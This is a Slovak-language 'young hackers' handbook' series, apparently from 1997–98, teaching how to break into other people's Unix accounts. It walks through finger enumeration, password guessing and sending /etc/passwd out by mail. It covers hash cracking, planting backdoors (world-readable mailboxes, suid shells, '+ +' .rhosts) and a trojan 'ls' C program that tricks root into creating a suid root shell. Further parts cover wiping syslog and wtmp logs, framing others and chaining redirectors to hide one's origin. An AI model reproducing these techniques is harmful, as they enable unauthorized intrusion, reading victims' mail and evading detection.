Autor: Kub@z | 8.7.2004 |
part 1
==== Copyleft R|msky 0tr0k.FMX '97 ====
Vazeni citatelia! V tejto casti prirucky si povieme nieco o preniknuti na
konto na nejakej masine.
Prvym krokom je vyhliadnutie vhodneho servera. Server vyberame podla toho, co
mienime na nom robit. Vacsinou chceme robit take veci, ktore na vlastnom konte
nemozeme, cize skusanie si roznych hackerskych praktik. Preto sme sa rozhodli
pre nejake "cudzie" konto. Najlepsie je dostat sa na server, ktory ma dobre
spojenie s nami. To znamena, ze patri bud pod toho isteho providera (posky-
tovatela), alebo ma s nim aspon peering (jednoducho povedane, priame spojenie).
Vyskusame nejake web servery, na ktorych moze bezat Linux. Vyskusame sa napr.
telnetovat na nejaky www server. Ak sme uspesni, server nam posle klasicky
login:
Teraz mozeme jednoducho vyskusat rychlost spojenia ak do loginu nieco napiseme.
Ak piseme bez velkych odoziev znamena to rychle spojenie. Nieje vzdy pravidlom,
ze server geograficky blizko ma s nami rychle spojenie. Moze patrit pod ineho
providera, a ten ked nema s tym nasim peering, cela komunikacia moze prebiehat
cez USA :).
Ako sa ale dostaneme dovnutra servera ?
Najprv sa pozrieme, ci sa daju zistit informacie zo servera prostrednictvom
fingeru. Zadame najprv: finger @nazov_serveru
a cakame na odpoved. V horsom pripade sa vypise: Connection refused,
alebo sa vypise len prazdny riadok.
Dalej moze byt odpoved "no one logged on". To je dobra sprava, pretoze sice
prave nikto nieje prihlaseny, ale mozeme dalej ziskavat informacie cez finger.
Teraz si mozeme fingernut napr. roota (finger root@nazov_servera).
Mali by sa zobrazit informacie ako login meno (root), plne meno, kedy bol
naposledy prihlaseny, aky ma shell, kde ma adresar, a pod ...
Teraz si vyskusame, ci nam server dovoluje cez finger pozerat ciastkove in-
formacie. Ak sa nam pri fingernut roota vypisalo "In real life: System
PRIVILEGED account" alebo nejaka ina hlaska, skusime pri finger root@server
zadat miesto slova root nejake slovo ktore sa vypise v "In real life: ", v
nasom pripade napr. finger account@server.
Ak sa nam zobrazi to iste co predtym (info o konte roota), znamena to, ze
finger moze vyhladavat v lubovolnej polozke.
Ako ziskat zoznam vsetkych uzivatelov servera? To je prave niekedy tazke,
ale na niektorych systemoch sa da pouzit pekna finta: Pozrieme sa, aky shell
ma nastaveny root. Napriklad /bin/bash. Zadame teda: finter /bin/bash@server.
Niektore systemy pekne vyklopia vsetkych uzivatelov, ktori maju dany shell.
(moze ich byt vacsina). Mozeme skusit aj /bin/csh, /bin/tcsh, ksh, sh, atd ...
Je to vsak len krajne riesenie, lebo funguje len malokedy.
Vo vacsine pripadov musime hadat aspon krstne mena uzivatelov. Takto ziskame
aspon zakladne poznatky o serveri. Potom sa mozeme pustit do hadania hesliel.
Ako heslo mozeme skusi login uzivatela, jeho krstne meno, priezvisko, a pod.
Ak je dostatok uzivatelov a na hesla niesu stanovene specialne poziadavky
(aspon jedno cislo, znak a pod), nieje problem nejake uhadnut. Mozeme skusat
nielen cez telnet, ale aj cez ftp, ci postovy protokol pop3.
Ak sme sa uspesne dostali dnu, fingerom si zistime, ci nahodou nieje prihlaseny
root (vtedy je riziko nieco robit). Aby sme zamaskovali adresu odkial sa
hlasime, mozeme vyskusat jednoduchu fintu, zial funguje len na niektorych sys-
temoch. Proste zadame prikaz login, a logneme sa znovu. Hodime na seba finger,
a zistime si ci sa tam nachadza ip adresa odkial ideme. Ak je tam napisane
nieco taketo "On since xxxxx ... from ttyp2" (na konci nieje adresa ale tty),
znamena to uspesne zamaskovanie, samozrejme len navonok. Ale pomaha to.
Prvou vecou ktoru musime spravit, je stiahnut si rychlo subor s uzivatelmi
(a mozno aj zakryptovanymi heslami) - /etc/passwd
Bud ho cez ftp prenesieme na nase vlastne konto, alebo odosleme postou prikazom
cat /etc/passwd |mail email@adresa
Viac o subore /etc/passwd, ako z neho ziskat hesla, ale aj mnoho ineho sa
dozviete v dalsej casti nasej prirucky.
http://www.toplist.cz/http://www.toplist.cz/
==== PRIRUCKA MLADYX HACKEROF part 2 ==== Copyleft R|msky 0tr0k.FMX '97 ====
V tejto casti nasho serialu si povieme nieco blizsie o subore /etc/passwd
v unixe, a ako sa daju z neho vytiahnut uzivatelske hesla.
Informacie o uzovateloch v systeme UNIX su ulozene aj v subore /etc/passwd
Subor si mozeme zobrazit prikazom: more /etc/passwd
Moze vyzerat napriklad nasledovne:
===================================================================
root:ENMuClZY7D2sI:0:0:System PRIVILEGED account:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/var/spool/news:
uucp:*:10:14:uucp:/var/spool/uucp:
operator:*:11:0:operator:/root:
games:*:12:100:games:/usr/games:
gopher:*:13:30:gopher:/usr/lib/gopher-data:
ftp:*:14:50:FTP User:/home/ftp:
nobody:*:99:99:Nobody:/:
technik:KIUlCca2pNAH.:505:200:Technicky Servis,,,,:/home/technik:/bin/bash
ryba:m3tp9RT60J9NU:508:701:Milan Ryba,spravca,,,:/home/ryba:/bin/bash
horvat:K4lJNXC9rUTMk:509:701:Ivan Horvat:/home/horvat:/bin/tcsh
===================================================================
Teraz si vysvetlime, co znamenaju jednotive polozky:
technik:KIUlCca2pNAH.:505:200:Technicky Servis,,,,:/home/technik:/bin/bash
| | | | | | |
| | | | | | |
1 2 3 4 5 6 7
1) Uzivatelov login, t.j. meno, ktorym sa prihlasuje do systemu.
2) Zakryptovane heslo. Heslo je zakodovane tak, ze neexistuje sposob ako
ho odkodovat (irreversibilny algoritmus). Dlzka zakryptovaneho hesla je
13 znakov.
3) User ID, cize cislo ktorym je uzivatel identifikovany vnutri systemu.
Unix nepracuje s login menami, ale prave s UserID.
4) Group ID, cize cislo skupiny (grupy) ku ktoremu uzivatel patri.
5) Cele meno uzivatela.
6) Cesta k domovskemu adresaru uzivatela.
7) Shell (interpreter prikazov), ktory sa spusta po nahlaseni uzivatela.
Je to nieco ako command.com v dos-e. Jednotlive shelly (sh, csh, tcsh,
bash, ksh) sa lisia svojimi moznostami.
Hviezdicka miesto zakryptovaneho hesla znamena, ze dane konto sa nepouziva
na prihlasovanie.
Novsie verzie UNIXu neobsahuju zakryptovane heslo v /etc/passwd, miesto neho
je tam len '*' alebo iny znak. Skutocne hesla su ulozene v subore, do ktoreho
ma pristup len spravca (root) a jadro systemu (jednoducho povedane).
Uzivatel ktory ma UserID = 0, ma rootovske prava, to znamena ze ma na po-
citaci "plnu moc". Ma pravo robit vsetky operacie so vsetkymi subormi.
Ak mame k dispozicii zakryptovane hesla, ako z nich mozeme ziskat hesla
uzivatelov ? Povedali sme si, ze hesla su kodovane nevratne. Pri prihlasovani
uzivatela sa zadane heslo zakoduje tym istym algoritmom do 13-znakoveho
retazca, a tento sa porovna s retazcom v /etc/passwd. Ked suhlasia, znamena
to ze uzivatel zadal spravne heslo a system ho vpusti dnu.
Porovnavaju sa teda zakryptovane tvary.
Teda jedinym sposobom ako ziskat hesla uzivatelov, je pouzit program, ktory
cita mozne hesla zo suboru, zakryptuje ich, a porovna s /etc/passwd.
Ak ma uzivatel heslo, ktore sa v nasom "slovniku" nachadza, ma smolu.
Heslo je odhalene. Preto uzivatelia ktori maju dobre hesla (kombinacie vel-
kych a malych pismen, cisel a znakov, napr. "y9Rt%a./") mozu pokojne spavat,
pretoze prist na ich heslo je prakticky nemozne.
Mozno vas napadlo: Co takto skusat vsetky mozne kombinacie pismen, cislic a
znakov? Je to samozrejme mozne, ale jednoduchym vypoctom sa da zistit, ze
taketo nieco nieje v rozumnom case realizovatelne. (zalezi od hardware po-
citaca, ale na bezne dostupnom hardwari by to trvalo par tisic rokov :).
Tym, ktori sa chcu do toho pustit pripomeniem, ze takto zakodovane heslo ma
maximalne 8 znakov. Aj to je dost.
Na crackovanie hesiel existuje kopec softu, medzi najlepsi a najrychlejsi
patri Cracker Jack 1.4, ktory crackuje zavratnou rychlostou (iba pre DOS).
Da sa splasit hocikde na internete. Taktiez o velke slovniky nieje nudza.
Ak sme uz teda zistili kamaratove heslo a chceme mat pristup na jeho konto aj
keby zmenil heslo, ...... ale to uz je obsahom nasledovnej casti nasej pri-
rucky ;)
http://www.toplist.cz/http://www.toplist.cz/
==== PRIRUCKA MLADYX HACKEROF part 3 ==== Copyleft R|msky 0tr0k.FMX '97 ====
V minulej casti sme si povedali, ako odhalit uzivatelske hesla. Povedzme ze
sme tymto odhalili kamaratove heslo, a chceme mu citat postu. Ale co ak on
pride na to ze sa mu niekto "vlamal" na konto, a zmeni heslo ? Taktiez niektore
systemy maju nainstalovany tzv. "password aging" system, ktory nuti uzivatelov
menit si pravidelne hesla. Ak by si uzivatel zmenil heslo, nemali by sme sancu
nadalej mu chodit na konto.
Preto si spravime nejake zadne dvierka. Chceme mu teda pravidelne citat postu.
Nastavime prava jeho postovej schranky tak, aby bola citatelna vsetkymi uzi-
vatelmi. Zadame prikaz:
chmod 644 $MAIL
V premennej $MAIL je ulozena cesta k jeho postovej schranke. Prava sme nasta-
vili nasledovne: citanie+zapis pre majitela (owner), a citanie pre vsetkych.
Blizsie informacie o zmene prav najdete v manualoch (man chmod)
Dalej spristupnime adresar prikazom:
chmod 777 ~
cim nastavime vsetky prava na adresar, cize hocikedy sa mozeme do neho dostat.
Podobne mozeme spristupnit aj subory v tomto adresari.
Dalej si vytvorime tzv. suid shell. Znamena to, ze ked spustime tento shell,
automaticky budeme mat prava daneho uzivatela (nie vzdy sa to vsak da, ale ked
sa to da, netreba spristupnovat postu, adresar apod, pretoze budeme mat pristup
ku vsetkemu co patri uzivatelovi ...).
Napiseme prikazy:
cp /bin/sh /tmp/sh1
chmod 6777 /tmp/sh1
Tymto vytvorime suid shell v adresari /tmp s nazvom "sh1". V /tmp to vsak moze
byt napadne, preto si shell mozeme skopirovat do nasho adresara (musime vsak
donho nastavit pristup na zapis).
Potom kedykolvek na svojom konte napisete "/tmp/sh1",budete mat prava uzivatela
pod ktorym sme vytvorili tento shell (alebo napiseme ./sh1, ak sme shell dali
do naseho adresara). Suid shell je zvlast vhodne spravit, ked sme hackli
roota :).
V nasledujucej casti si ukazeme, ako sa dostat na konto pomocou rlogin.
Zatial si s kamaratom vyskusajte tvorbu suid shellov ;).
http://www.toplist.cz/http://www.toplist.cz/
==== PRIRUCKA MLADYX HACKEROF part 4 ==== Copyleft R|msky 0tr0k.FMX '97 ====
.rhosts = zadne dvierka k serveru
---------------------------------
V tejto casti si povieme, ako si mozeme zabezpecit pristup ku kontam na ktore
sme sa naburali, aj ked bude na nich zmenene heslo.
UNIXove systemy dovoluju nahlasovat sa na konto nielen pomocou sluzby telnet,
ale aj pomocou "rlogin". Prikaz rlogin sa pouziva v nasledovnom tvare
rlogin masina
alebo
rlogin -l username masina
napr.: rlogin -l horvat foo.foobar.sk
To znamena, ze sa chceme prihlasit ako "horvat" na server foo.foobar.sk
Po zadani prikazu si samozrejme vzdialeny server vypyta horvatove heslo.
Ako sa mozem ale dost na server aj bez zadavania hesla ?
Povedzme, ze mame konto pod menom "pokus" na pocitaci "first.foobar.sk".
Mame este jedno konto, ale pod menom "test" a na pocitaci "second.foobar.sk".
Chceme, aby sme sa mohli bez zadavania hesla dostat kedykolvek na nase druhe
konto (test@second.foobar.sk). Ako na to ?
Na pocitaci second.foobar.sk si vo svojom adresari (~test/) vytvorime subor
s nazovom ".rhosts", a do neho vpiseme nasledovny riadok:
first.foobar.sk pokus
Tym padom urcime, ze z konta "pokus" na pocitaci first sa budeme moct cez sluz-
bu rlogin dostat na konto "test" na pocitaci second, a to bez overovania hesla.
(pocitac first volame "trusted server", cize server ktoremu "doverujeme").
Na pocitaci first (na konte "pokus") teda napiseme:
rlogin -l test second.foobar.sk
a pocitac second nas prihlasi aj bez overenia hesla.
Ak mame na oboch pocitacoch rovnaky login, mozeme vynechat parameter -l.
Naucili sme sa teda pouzivat subor .rhosts.
Samozrejme, takto mozeme lubovolnemu uzivatelovi "podstrcit" .rhosts do jeho
adresara (ked sa nachvilu vzdiali od terminalu, alebo zostane prihlaseny),
a potom sa mozeme dostat na jeho konto aj ked zmeni heslo. Ma to vsak nevyhodu:
ak si nahodou pozrie .rhosts, zbada tam nase meno a server. Ak sa nechceme
prezradit, zabezpecime si aby sme sa mohli rlogin-ovat z lubovolneho servera
pod lubovolnym menom. To je mozne, ak do .rhosts napiseme:
+ +
To znamena, ze ktokolvek si da rlogin na hacknutu osobu, dostane sa na jeho
konto.
Este jedna rada: Ak sa dostaneme na konto osobe, ktora uz subor .rhosts ma,
pozrime sa ake servery su v nom. Pomocou fingeru si zistime, ci ma osoba
rovnaky login na tychto serveroch, a vyskusame na tento server rlogin.
Je totiz mozne, ze osoba ma .rhosts aj na danej masine a ako "trusted server"
vystupuje prave ten, na ktorom prave sme. Niektori ludia maju totiz rhosty na
mnoho masinach, a preto ked im naburame jedno konto, v pohode sa dostaneme
dalej.
To je z tejto casti vsetko, odporucam preskusat si rlogin v praxi, a objavit
jeho vyhody/nevyhody.
V buducom cisle si povieme nieco o tom, ako ziskat roota velmi jednoduchym
sposobom, pomocou nespravneho pouzitia shellov.
http://www.toplist.cz/http://www.toplist.cz/
==== PRIRUCKA MLADYX HACKEROF part 5 ==== Copyleft R|msky 0tr0k.FMX '97 ====
Ziskanie ROOTovskych prav.
V tejto casti si povieme o sposobe, akym ziskat prava ROOTa, v pripade ak ma
systemovy administrator dostatocne male IQ. :)
Takze: Predstavme si systemoveho administratora, ktory prehladava adresare
uzivatelov. Jednoducho aby si overil ci jeho uzivatelia nahodou nepouzivaju
najake "nepovolene" programy (hackovacie:), alebo ci si nestahuju obrazky s
erotickym obsahom, moze z casu na cas prezerat adresare.
Ak je tento systemovy administrator menej zdatny (napriklad ak je to zena
alebo nejaka telocvikarka), mozeme mu nastavit pascu, ktora nam da rootovske
prava.
Ako na to ? Predstavme si, co taky systemak robi pri prehladavani adresarov.
Vojde do nasho adresara prikazom cd ~meno, a napise prikaz "ls".
Co keby sme si vytvorili program s nazvom "ls" ? Systemak ho potom spusti
miesto klasickeho "ls" vypisujuceho obsah adresa. Je vela moznosti, ktore moze
nas fingovany program spravit. Moze vyzerat napriklad takto:
(vytvorime subor s nazvom ls.c (napiseme joe ls.c))
void main()
{
seteuid(0); /* nastavi nam prava roota */
setegid(0); /* aj grupu roota */
system("cp /bin/sh subor"); /* skopiruje shell do suboru "subor" */
system("chmod 6755 subor"); /* nastavi SUID bit suboru "subor" */
system("rm ls"); /* VYMAZE nas program "ls" (aby to root nezistil) */
system("/bin/ls"); /* vykona sa "normalne" ls, aby root nic nezbadal ;) */
}
Tento program skompilujeme prikazom: cc -o ls ls.c
a mozeme sa odhlasit.
Ak pride zvedavy root a napise prikaz ls, spusti sa mu nas program, ktory
vytvori v nasom adresari kopiu shellu s nazovm "subor", a tomuto suboru
nastavi SUID bit (to znamena, ze ked ho spustime, dostaneme prava roota,
jednoducho povedane. SUID bit sa pouziva ak uzivatel musi spustit niektore
prikazy s pravami roota, napriklad program "passwd" na zmenu hesla alebo
prikaz "chfn" na zmenu finger informacii musi mat SUID bit lebo inak by sme
nemali prava modifikovat /etc/passwd).
Program na zaver este vymaze nas program ls, a vykona normalny prikaz ls,
akoby sa nic nestalo.
Ak prideme na konto a zbadame vytvoreny subor "subor", mame vyhrate.
Napiseme "subor" a mame rootovske prava.
POZOR - toto funguje len vtedy, ak je system slabo zabezpeceny alebo ak je
systemak slusne povedane "blby", pretoze mudry systemak nastavi cesty (paths)
tak, ze pri spusteni programu sa tento najskor hlada v adresaroch /bin apod.,
a az naposledy v aktualnom adresari. Tak sa nemoze stat, ze by sa spustil
fingovany program "ls".
To je nadnes vsetko, v buducej casti si povieme este o niektorych sposoboch
ako vyuzit SUID-bit na ziskanie rootovskych prav.
http://www.toplist.cz/http://www.toplist.cz/
==== PRIRUCKA MLADYX HACKEROF part 6 ==== Copyleft R|msky 0tr0k.FMX '98 ====
SUID BIT - Ako ho zneuzit ?
Buffer overflow a exloity ?
Uz v tretej casti nasej prirucky sme si povedali par slov o SUID a o nastaveni
tohoto bitu na vytvorenie SUID shellu. Dnes si povieme trosku viac o zneuziti
programov ktory maju SUID bit nastaveny na roota.
Niektore systemove programy musi uzivatel spustat s rootovskymi pravami. Je to
koli tomu, ze tieto programy modifikuju dolezite systemove subory, do ktorych
nema bezny uzivatel za normalnych okolnosti pristup. Napriklad len obycajna
zmena hesla - nove heslo sa musi zapisat do suboru /etc/passwd, pripade este
do shadow password suboru (/etc/shadow). Preto ma program passwd nastaveny
SUID bit, cize ho spustame s pravami roota (pravda si to malokedy uvedomujeme;)
Programy vyuzivajuce SUID musia byt stopercentne naprogramovane,nesmu obsahovat
jedinu chybu, musia mat osetrene vsetky situacie, lebo inak by ich uzivatel
mohol zneuzit na ziskanie rootovskych prav. Kedze SUID programov je v systeme
viac nez dost, niekedy sa nejaka chybicka predsalen najde. Zvacsa sa vyuzije
to, ze program nema osetrenu velkost vstupu, a preto ked 'napchame' program
viac udajmi ako je zdrave, nastane BUFFER OVERFLOW chyba ktora zruti program
a nam poskytne root shell. Programy ktore spravia tuto 'spinavu robotu' za nas
su (bohuzial) volne dostupne na internete, a vacsinou staci najst len ten
spravny, spustit a ... dostaneme root shell. Velmi dobrym miestom na ziskanie
takychto programov je stranka s priznacnym nazvom: www.rootshell.com
Taketo programy, vyuzivajuce diery v systeme sa nazyvaju EXPLOITy. Samozrejme,
nie vzdy sa vyuziva len pretecenie bufferu ked sme priamo vnutri servera; mnoho
sluzieb beziacich na serveri (sendmail, POP3, IMAP) je 'deravych', a mozno cez
ne ziskat na dialku pristup na server- ci uz obycajneho uzivatela, alebo roota.
Ako sa da chranit proti takymto utokom ? Existuje niekolko programov ktore
kontroluju system (napr. CHKEXPLOIT), hladaju SUID programy a zistuju ich
verziu; upozornia ked hrozi nebezpecenstvo zneuzitia. Vtedy je potrebne bud
SUID bit z programu odstanit (ak ho vyslovene nepotrebujeme), a ak ho potre-
bujeme, musime si zabstarat co naskor novu 'zaplatanu' verziu. Odporucam
sledovat mailing list bugtraq a stranky ako www.rootshell.com a ine zaoberajuce
sa pocitacovou bezpecnostou.
Ak si myslite, ze systemaci vzdy zaplataju hned vsetky diery, tak ste na omyle-
vacsinou plati pravy opak. Vzdy sa oplati vyskusat, ci prave pre ten nas system
nebude fungovat nejaky ten exploitik (ak pracujete na skolskom systeme, tak
je velmi pravdepodobne, ze o chvilu mate root shell ;))
Ak sa vam to nebodaj podari, nepodlahnite pocitu najvyssej moci - moze sa vam
to totiz vypomstit. Preco ? O tom si povieme nabuduce .... ;-)
http://www.toplist.cz/http://www.toplist.cz/
==== PRIRUCKA MLADYX HACKEROF part 7 ==== Copyleft R|msky 0tr0k.FMX '98 ====Logy
a mazanie sa z logov.V minulej casti sme ziskali prava roota pomocou exploitu.
Privilegovany stavnam dovoluje robit si na serveri co sa nam zachce. Je tu ale
jedna vec, ktorasleduje kazdy nas krok, a starostlivo to zapisuje.Ta vec sa vola
syslog demon (syslogd). Hlavne systemove zapisy sa nachadzajuvo /var/log/syslog
a /var/log/messages. Skus sa do nich pozriet. Uvidisvsetko ako na dlani - kedy
si sa logoval, odkial si sa logoval, co si robil,dosiahnutie rootovskeho stavu,
apod. Dokonca sa zapise aj adresa na ktoru si si nechal poslat /etc/passwd ;))
Logovat sa da mnoho veci. Zalezi od systemaka, co vsetko chce sledovat.
Nastavenie syslog demonu sa robi v subore /etc/syslogd. V tomto subore jeuvedene
co sa ma logovat, a kam sa to ma logovat. Preto je vhodne najskorsi zistit, ci
sa neloguje niekam "do paze", pretoze potom sa zbytocne budeme zameriavat na
adresar /var/log, ked tam nic nenajdeme.Ked uz nas takto system zapisal,
potrebujeme sa z logov vymazat. Ako spravnymlady zaciatocnik, vymazes sa
jednoducho tak, ze editnes syslog alebo messagesa zmazes vsetky riadky, ktore
monitoruju Tvoju nekalu cinnost.Samozrejme, existuju skripty ktore celu cinnost
automatizuju. Vhodne je potomaspon skontrolovat, ci sa naozaj vsetko vycistilo.
Okrem klasickych textovych logov existuju este aj tzv. binarne logy, kamsa
zapisuju vsetky prihlasenia a odhlasenia uzivatelov. Tieto informaciesu dostupne
pomocou prikazu "last". (blizsie info - man last)Pochopitelne, mame tam uz 'svoj'
zaznam, ktory treba vymazat. Bohuzial (alebonastastie ? :) tieto informacie sa
zaznamenavaju binarne do suboru /var/log/wtmp a teda subor sa neda editovat
klasickym editorom. Existuje vsakkopec programov na 'cistenie' aj z tychto
druhov logov. Tie lepsie programysi automaticky zistia vsetky informacie o
syslog demonovi, a automaticky Tavymazu zo vsetkych logov. Taktiez umoznuju
vytvarat 'falosne' logy, ktore mozusystemaka priviest na falosnu stopu (celkom
dobry sposob ako priviest kamosado pruseru, nie ? :). Nieje cielom tejto
prirucky poskytovat presne adresykde sa daju najst tieto programy; mlady hacker
si to urcite rad zisti aby mohol experimentovat. Doporucujem preskusat si tieto
programy doma na linuxe,aby si potom mohol 'v praxi' pohotovo reagovat.
Samozrejme, toto vsetko je len zaciatok. Este treba mazat aj bash history(vsetky
prikazy napisane v shelli sa tiez zapisuju) - na to odporucam konzul-tovat 'man
bash', skontrolovat ci sme niekde nenechali zalozny subor z edi-tovaneho logu,
atd ... Nema zmysel robit presne navody na dokonale mazanie,ved vlastnymi
skusenostami a postupnym poznavanim UNIXu na vsetko prides sam.Ale nemysli si ze
zmazanim logov to hasne. Su systemy, ktore loguju priamona tlaciaren alebo
priamo posielaju logy na iny server, a taketo nieco nemassancu vymazat ! (no, az
sa pravda nevlames do hacknutej kancelarie a neukradnesvytlacene logy priamo z
tlaciarne ;). Preto sa nikdy neprihlasuj zo servera na ktorom mas napr. skolske
konto, alebo z prace. Systemak hacknuteho servera Tatakto velmi lahko vystopuje,
a mas pruser. Musis byt totalny paranoik, ale to snad nemusim pripominat, to
pride samo ;) Neverit nikomu a nicomu, pretozevsetko sa niekam loguje. Dokonca
aj nevinne prezeranie stranky na serveriktory hackujes Ta moze krasne prezradit,
pretoze vsetky http transakcie sa log
==== PRIRUCKA MLADYX HACKEROF part 8 ==== Copyleft R|msky 0tr0k.FMX '98 ====
Redirektory.
Ak sme sa v minulej casti uspesne vymazali z logu, neznamena to este, ze sme
zakryli vsetky stopy. Kedze sme len mladi hackeri a dokonale zahladenie stop
prekracuje ramec tejto prirucky, povieme si ako vyuzivat redirektory a tym
zamaskovat adresu z ktorej pristupujeme k hackovanemu serveru.
Redirektor (alebo 'forwarder') je program, ktory "zavesime" na port nejakeho
servera ktory nam bude sluzit ako brana. Tento server moze byt nejaky zabud-
nuty skolsky server ktory sa uz velmi nevyuziva, ktory sme hackli uz davno,
ktory ma blbeho systemaka, a na ktorom ale moze byt potencialna hrozba, ze
by tento blby systemak zistil odkial sa nan hlasis, a ze z neho potom hac-
kujes. Nazvime tuto masinu ako 'A' (stroj_a.sk)
Vsetky pakety ktore posles na vopred zvoleny port servera 'A' budu presmero-
vane na server 'B' (stroj_b.sk) na port, ktory tiez urcis.
Spusta sa to teda vacsinou nasledovne:
stroj_A:~> redir 6969 stroj_b.sk 23
kde 6969 je port na lokalnej masine, na ktorej spustam redirektor, stroj_b.sk
je nazov stroja na ktory budem utocit, a 23 je port na tom serveri (23=telnet)
Ak je vsetko v poriadku, vyskusaj: telnet stroj_a.sk 6969
Mala by sa Ti prihlasit vyzva login: na serveri B. Odteraz sa teda nebudes
telnetovat priamo na stroj_b.sk, ale na stroj_a.sk 6969.
Samozrejme, porty si mozes zmenit. Este si mozes redirektnut port 21 stroja B
trebars na port 6970 stroja A, aby v pripade potreby mohol FTPckovat
(ftp stroj_a.sk 6970).
Figel celej tejto procedury spociva v tom, ze vsetky logy na stroji B zazna-
menaju 'utok' akoze z adresy stroja A. Skutocna adresa z ktorej si sa hlasil
na port 6969 stroja A zostane utajena.
Len si musis davat pozor ked sa prihlasujes na stroj A za ucelom umiestnenia
redirektora. Vtedy musis zahladit vsetky stopy alebo sa nan prihlasit z
nejakeho dialup konta alebo internetovej kaviarne :). Ak uz redirektor je
umiestneny, je to v pohode (az pokial nerebootnu stroj na ktorom bezi :).
Ak mas dostatok vhodnych serverov, mozes na ne umiestnit redirektory a vzajomne
ich pospajat:
na stroji A: redir 5000 stroj_b.sk 5001
na stroji B: redir 5001 stroj_c.sk 5002
na stroji C: redir 5002 stroj_d.sk 23
potom telnet stroj_a.sk 5000 Ta presmeruje az na stroj_d.sk :)) Cim viac spoje-
nych bran, tym lepsie (ale 2-3 uplne stacia, potom je to uz paranoja a
zbytocne neprehladna situacia)
Zdrojovy text redirektora tu nebudem uvadzat, da sa stiahnut hocikde na sieti;
odporucam http://hysteria.sk/arxiv - tam sa nachadza vo viacerych verziach.
Na zaciatok odporucam najst a vyskusat interaktivny redirektor, ktory nema
pevne zadanu cielovu adresu - zadas mu ju priamo po pripojeni telnetom na
redirektor (pripadne po zadani specialneho hesla). Napriklad:
moj_stroj:~> telnet stroj_A 6969
Trying 194.154.82.33...
Escape character is '^['
jasomhacker
stroj_b.sk
Welcome to stroj_B (running on LINUX)
stroj_b login:
---------------------
teda po napojeni na redirektor sme zadali tajne heslo (jasomhacker) a potom
adresu kam sa chceme presunut.
Samozrejme, redirektory sa daju pouzit aj na ine veci. Anonymne IRC servery
(presmerovanie portu 6777 nejakeho IRC servera), okaslanie sluzieb ktore
pracuju len v ramci nejakej domeny (napr. niektore SANETacke NEWS servery
sa daju vyuzit len v sieti SANET, ak chceme ich sluzby vyuzivat aj v inej
sieti, supneme si na nejaky sanetacky server redirektor), etc, etc ...
Dohackovania nabuduce sa tesi - R|msky 0tr0k.FMX :))
http://www.toplist.cz/http://www.toplist.cz/
==== PRIRUCKA MLADYX HACKEROF part 9 ==== Copyleft R|msky 0tr0k.FMX '98 ====Pop3
utok.Dnes si povieme par slov o postovom protokole pop3. Kedze sme mladi
hackeri,pokusime sa pomocou tejto sluzby naburat unixovy system.Co je to pop3?
Pop3 (celym menom Post Office Protocol ver. 3) je protokol, ktorym si preda-vaju
postu server a klient. Je to velmi casto a coraz castejsie pouzivanyprotokol
hlavne u uzivatelov s dial-up spojenim. Ked sa pripojis na internetaby si si
stiahol novu postu, Tvoj postovy klient komunikuje so serveromprave pomocou
protokolu pop3. Serverom byva vacsinou daemon pod UNIXom alebo Windows NT, ako
klient vystupuje mailovaci program (vacsinou pod W|ndow$, napr.Pegasus Mail
(lepsi pripad), Microsoft Mail (horsi pripad), Outlook (estehorsi pripad), alebo
Outlook Express (snad najhorsi pripad :)).Ak teda tento pripad doverne poznas, a
postoveho klienta si si konfigurovalsam, iste Ti neuniklo ze pri nastavovani
parametrov vyplnas POP3 Server host-name, pop3 username, a password. Ako
prebieha komunikacia klinet<->server?Pozrime sa na to cez univerzalny TELNET.
Port pre pop3 je standardne (a vdrvivej vacsine pripadov, ak provider neurci
inak) 110.Vyber si nejaky UNIX server (napr. na ktorom mas konto, my si
zoberieme standardne test.testland.com), a vyskusaj:% telnet test.testland.com
110Trying 168.175.44.20...Connected to test.testland.com.Escape character is
'^]'.+OK QPOP (Version 2.6) at test.testland.com starting.Teraz sa prihlas
prikazmi 'user' a 'pass' nasledovne:user tvoj_login+OK Password required for
tvoj_loginpass tvoj_password+OK You have 12 messages in your mailbox.Po spravnom
prihlaseni si dokonca takto mozes prezerat aj svoju postu, aknapises "retr 1"
(prva sprava), "retr 2" (druha sprava), atd ...Na konci napis "quit".Takymto
sposobom teda prebieha komunikacia pri prenose sprav od servera kuklientovi.A
naco je to dobre mlademu hackerovi? Mlademu hackerovi sa takto naskytneskvela
sanca HADAT HESLA. Vyhody su nasledovne:- Ziadne cakanie pri nespravnom hesle
(moznost okamziteho opakovania)- Moznost opakovania pokusu- Na niektorych
(hlavne starsich) systemoch sa vobec neloguje taketo hadanie- Moznost prakticky
stale opakovat hadanie, server Ta sice moze vyhodit po par pokusoch, ale mozes
sa znovu connectnut naspat a skusat dalej.- Vacsinou sa po neuspesnych pokusoch
neblokuje uzivatelovi konto, ako sa to moze stat ked hadas heslo cez normalny
login, ci FTP (napr. 5 neuspesnych pokusov, a uz sa konto zablokuje).- Pop3
sluzba je nainstalovana na serveri skoro vzdy.Samozrejme, natiska sa tu problem:
Kto ma furt dokola vypisovat "user, pass,user, pass ....) Odpoved je jednoducha:
Preco by za nas nemohol pracovatstroj? Na konci tejto prirucky je ako priloha
zdrojak programu na hadaniehesiel.Staci ak si ho odtialto 'vystrihnes', hodis na
nejaky UNIXovy stroj, askompilujes. Potrebujes este 2 subory - jeden s loginmi
uzivatelov ktorych hesla sa buduhadat, a druhy so samotnymi heslami. Program
prejde vsetky kombinacielogin/password z prveho a druheho suboru. Ak najde
spravne heslo, vypise ho.Odporucam nechat program bezat na pozadi, a vystup
presmerovat do suboru.Napriklad takto:% pop3hack test.testland.com loginy
passwordy > vystup.out &V tomto pripade sme si zobrali na musku server
test.testland.com, subor sloginmi sa vola 'loginy', zoznam hesiel je v subore
'passwordy', a aksa najde spravne heslo, zapise sa to do suboru
vystup.outUpozornenie: Vyskusaj si najprv rychlost spojenia na dany server. Ak
jespojenie pomale, moze hadanie trvat celu vecnost.Program pouzivaj len na
vlastne riziko a na vlastnu zodpovednost. V pripadenejakeho neopravneneho
prieniku nezodpoveda redakcia DNA za sposobene skody.
Regards,Georgi Guninski
http://www.nat.bg/~joro